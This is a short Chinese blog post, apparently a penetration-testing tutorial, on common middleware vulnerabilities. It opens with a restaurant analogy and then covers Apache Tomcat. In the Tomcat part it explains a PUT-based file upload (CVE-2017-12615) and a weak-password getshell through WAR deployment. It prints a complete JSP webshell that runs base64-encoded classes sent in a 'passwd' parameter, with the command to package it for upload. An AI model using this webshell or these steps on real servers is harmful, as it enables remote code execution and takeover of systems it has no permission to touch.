中间件常见漏洞(后续补充)

中间件可以被简单理解为“中间商”或“中间桥梁”。

中间件就像是餐厅中的“服务员”:

  • 订单传递:服务员(中间件)从前台(应用程序)接收顾客的订单,然后将订单传递到厨房(数据库/服务)。
  • 沟通协调:如果厨房需要更多信息,服务员负责与前台沟通,确保订单准确无误。
  • 管理流程:服务员可以同时处理多个订单,确保厨房的工作有序进行,并且顾客不会等太久。
  • 安全保证:服务员确认顾客的身份(例如会员卡验证),确保订单处理的安全性。
  • 错误处理:如果厨房出现问题(比如原材料不足),服务员会通知前台,并处理好顾客的需求。

中间件就像是系统中的服务员,负责在前台和后台之间传递信息、管理流程、确保安全,并处理错误,从而让整个系统高效、可靠地运行

tomcat篇

tomcat 文件上传 (CVE-2017-12615)

这个比较简单,抓包改PUT 添加/路径 /..jsp/

访问即可:

Tomcat7+ 弱口令 && 后台getshell漏洞

Tomcat支持后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。

访问登录框:tomcat/tomcat进去,后台上传Deploy页面

<!-- jsp一句话木马,连接密码是passwd -->
<%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class
g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[]
base64Decode(String str) throws Exception { try { Class clazz =
Class.forName("sun.misc.BASE64Decoder"); return (byte[])
clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object
decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[])
decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } }
%> <% String cls = request.getParameter("passwd"); if (cls != null) { new
U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
} %>

打包成war包

jar cvf tomcat.war war.jsp

上传打包的tomcat.war 

生成一个tomcat的路径

  • 10
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值